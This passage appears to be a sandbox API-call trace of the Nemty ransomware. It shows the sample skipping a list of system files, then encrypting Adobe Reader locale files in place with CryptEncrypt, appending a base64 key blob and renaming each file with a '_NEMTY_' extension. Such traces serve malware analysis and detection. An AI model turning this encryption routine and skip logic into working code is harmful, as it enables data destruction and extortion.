Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.605] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.605] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0184.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0184.605] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0184.605] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.605] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\PPKLITE.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\ppklite.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\PPKLITE.SVE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\ppklite.sve._nemty_kgobjgd_")) returned 1 [0184.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0184.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0184.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.606] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f876820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x141800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="RdLang32.SVE", cAlternateFileName="")) returned 1 [0184.606] lstrcmpiW (lpString1="RdLang32.SVE", lpString2=".") returned 1 [0184.606] lstrcmpiW (lpString1="RdLang32.SVE", lpString2="..") returned 1 [0184.606] lstrcmpiW (lpString1="RdLang32.SVE", lpString2="...") returned 1 [0184.606] lstrcmpiW (lpString1="RdLang32.SVE", lpString2="windows") returned -1 [0184.606] lstrcmpiW (lpString1="RdLang32.SVE", lpString2="$RECYCLE.BIN") returned 1 [0184.606] lstrcmpiW (lpString1="RdLang32.SVE", lpString2="rsa") returned -1 [0184.606] lstrcmpiW (lpString1="RdLang32.SVE", lpString2="NTDETECT.COM") returned 1 [0184.606] lstrcmpiW (lpString1="RdLang32.SVE", lpString2="ntldr") returned 1 [0184.606] lstrcmpiW (lpString1="RdLang32.SVE", lpString2="MSDOS.SYS") returned 1 [0184.606] lstrcmpiW (lpString1="RdLang32.SVE", lpString2="IO.SYS") returned 1 [0184.606] lstrcmpiW (lpString1="RdLang32.SVE", lpString2="boot.ini") returned 1 [0184.606] lstrcmpiW (lpString1="RdLang32.SVE", lpString2="boot.ini") returned 1 [0184.606] lstrcmpiW (lpString1="RdLang32.SVE", lpString2="AUTOEXEC.BAT") returned 1 [0184.606] lstrcmpiW (lpString1="RdLang32.SVE", lpString2="ntuser.dat") returned 1 [0184.606] lstrcmpiW (lpString1="RdLang32.SVE", lpString2="desktop.ini") returned 1 [0184.606] lstrcmpiW (lpString1="RdLang32.SVE", lpString2="CONFIG.SYS") returned 1 [0184.606] lstrcmpiW (lpString1="RdLang32.SVE", lpString2="RECYCLER") returned -1 [0184.606] lstrcmpiW (lpString1="RdLang32.SVE", lpString2="BOOTSECT.BAK") returned 1 [0184.606] lstrcmpiW (lpString1="RdLang32.SVE", lpString2="bootmgr") returned 1 [0184.606] lstrcmpiW (lpString1="RdLang32.SVE", lpString2="programdata") returned 1 [0184.606] lstrcmpiW (lpString1="RdLang32.SVE", lpString2="appdata") returned 1 [0184.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.607] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.SVE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.607] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.SVE", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.SVE", lpUsedDefaultChar=0x0) returned 12 [0184.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.607] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.SVE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.607] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.SVE", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.SVE", lpUsedDefaultChar=0x0) returned 12 [0184.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.607] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.SVE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.607] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.SVE", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.SVE", lpUsedDefaultChar=0x0) returned 12 [0184.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.607] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.SVE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.607] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.SVE", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.SVE", lpUsedDefaultChar=0x0) returned 12 [0184.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0184.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0184.607] Sleep (dwMilliseconds=0x5) [0184.608] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21ae9470, dwHighDateTime=0x1d561e8)) [0184.608] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21ae9470, dwHighDateTime=0x1d561e8)) [0184.608] GetLastError () returned 0x0 [0184.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.608] GetLastError () returned 0x0 [0184.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.608] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.608] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.609] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0184.609] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="86KCgSH+Vd7QOCuQDFlBZA7FTcLIyRq9phv8TJvs58UOUGOoNAg0AzYV8K1ZaXeg\r\nVTffuNV/AW5iPGHuRgT9rEe8v5fLoUScArg4EfVXq2gtx8/FdzIzFuJPeRThGLh2\r\n34IJ/KBUKk0Ml/ftoIjTpZCmu7WeH4zQusVS8Km+t5DE86PSCTtTMOQZ5eCQZ8bU\r\nMzxGCoJ+KtLSjez5Xg2HQ5WOrgbr2ArTkhSROGXb3HqNCHg4sFYMyuEBqgtzB0fh\r\nkCNy7DkK+33ovRNqcPK6HuyrVHMbLwIpxOrhW0vu7Jy+gNbh2kLuQltshrhE6yN4\r\nsZzn0o8zvB2tBUEb1S3nVQ==\r\n", pcchString=0x653e5dc) returned 1 [0184.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0184.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.609] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\RdLang32.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\rdlang32.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.609] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=1316864) returned 1 [0184.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0184.609] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.609] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0184.619] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.619] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0184.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.619] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=1316864, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x141800 [0184.619] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.623] CloseHandle (hObject=0x2e8) returned 1 [0184.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0184.623] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.623] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0184.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0184.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0184.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.624] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\RdLang32.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\rdlang32.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\RdLang32.SVE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\rdlang32.sve._nemty_kgobjgd_")) returned 1 [0184.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0184.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0184.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.624] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ReadOutLoud.SVE", cAlternateFileName="READOU~1.SVE")) returned 1 [0184.624] lstrcmpiW (lpString1="ReadOutLoud.SVE", lpString2=".") returned 1 [0184.624] lstrcmpiW (lpString1="ReadOutLoud.SVE", lpString2="..") returned 1 [0184.624] lstrcmpiW (lpString1="ReadOutLoud.SVE", lpString2="...") returned 1 [0184.624] lstrcmpiW (lpString1="ReadOutLoud.SVE", lpString2="windows") returned -1 [0184.624] lstrcmpiW (lpString1="ReadOutLoud.SVE", lpString2="$RECYCLE.BIN") returned 1 [0184.624] lstrcmpiW (lpString1="ReadOutLoud.SVE", lpString2="rsa") returned -1 [0184.625] lstrcmpiW (lpString1="ReadOutLoud.SVE", lpString2="NTDETECT.COM") returned 1 [0184.625] lstrcmpiW (lpString1="ReadOutLoud.SVE", lpString2="ntldr") returned 1 [0184.625] lstrcmpiW (lpString1="ReadOutLoud.SVE", lpString2="MSDOS.SYS") returned 1 [0184.625] lstrcmpiW (lpString1="ReadOutLoud.SVE", lpString2="IO.SYS") returned 1 [0184.625] lstrcmpiW (lpString1="ReadOutLoud.SVE", lpString2="boot.ini") returned 1 [0184.625] lstrcmpiW (lpString1="ReadOutLoud.SVE", lpString2="boot.ini") returned 1 [0184.625] lstrcmpiW (lpString1="ReadOutLoud.SVE", lpString2="AUTOEXEC.BAT") returned 1 [0184.625] lstrcmpiW (lpString1="ReadOutLoud.SVE", lpString2="ntuser.dat") returned 1 [0184.625] lstrcmpiW (lpString1="ReadOutLoud.SVE", lpString2="desktop.ini") returned 1 [0184.625] lstrcmpiW (lpString1="ReadOutLoud.SVE", lpString2="CONFIG.SYS") returned 1 [0184.625] lstrcmpiW (lpString1="ReadOutLoud.SVE", lpString2="RECYCLER") returned -1 [0184.625] lstrcmpiW (lpString1="ReadOutLoud.SVE", lpString2="BOOTSECT.BAK") returned 1 [0184.625] lstrcmpiW (lpString1="ReadOutLoud.SVE", lpString2="bootmgr") returned 1 [0184.625] lstrcmpiW (lpString1="ReadOutLoud.SVE", lpString2="programdata") returned 1 [0184.625] lstrcmpiW (lpString1="ReadOutLoud.SVE", lpString2="appdata") returned 1 [0184.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.625] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.SVE", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0184.625] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.SVE", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.SVE", lpUsedDefaultChar=0x0) returned 15 [0184.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.625] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.SVE", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0184.625] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.SVE", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.SVE", lpUsedDefaultChar=0x0) returned 15 [0184.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.625] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.SVE", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0184.625] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.SVE", cchWideChar=15, lpMultiByteStr=0x653e8e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.SVE", lpUsedDefaultChar=0x0) returned 15 [0184.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.625] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.SVE", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0184.625] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.SVE", cchWideChar=15, lpMultiByteStr=0x653e918, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.SVE", lpUsedDefaultChar=0x0) returned 15 [0184.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0184.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0184.626] Sleep (dwMilliseconds=0x5) [0184.639] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21b35730, dwHighDateTime=0x1d561e8)) [0184.639] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21b35730, dwHighDateTime=0x1d561e8)) [0184.639] GetLastError () returned 0x0 [0184.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.640] GetLastError () returned 0x0 [0184.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.640] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.640] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.640] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0184.640] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="aUFFXfP16wBPePp54yl5f0G8JoN4eg+CifE+FKrC0hJCqf6mzOhKvRO7STarnxcQ\r\nyGOsevsshImH8gPOE5QohusDkHU3iTbgUPZGzl8HR9maA8udCD+41g92LqaMIRQg\r\njZ96iwZZERr8sEj8qhiPl/Pyah/sDJ1mx7ph8J3/6MjcAefgGNtMwyVT0GOhZ6ma\r\ne19fslhfjtqpbz7bXX45R60d4NiOjt5shDx4IaOApme5Nl4D2/NWawG6mevhBauU\r\nnDqMOuQl+6eQ/Y7PL+SSkkSVkWBHo0Xd0fhMNkSNPZxblvXRASzPxrLKPxpuMRVy\r\nDRlVwm2v6caPsgEfrjsibg==\r\n", pcchString=0x653e5dc) returned 1 [0184.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0184.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.640] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\ReadOutLoud.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\readoutloud.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.641] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10752) returned 1 [0184.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2a00) returned 0x6352c48 [0184.641] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.641] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2a00, lpOverlapped=0x0) returned 1 [0184.643] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, 